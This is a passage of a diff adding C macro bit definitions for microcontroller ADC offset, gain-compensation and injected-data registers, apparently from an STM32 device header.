ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << 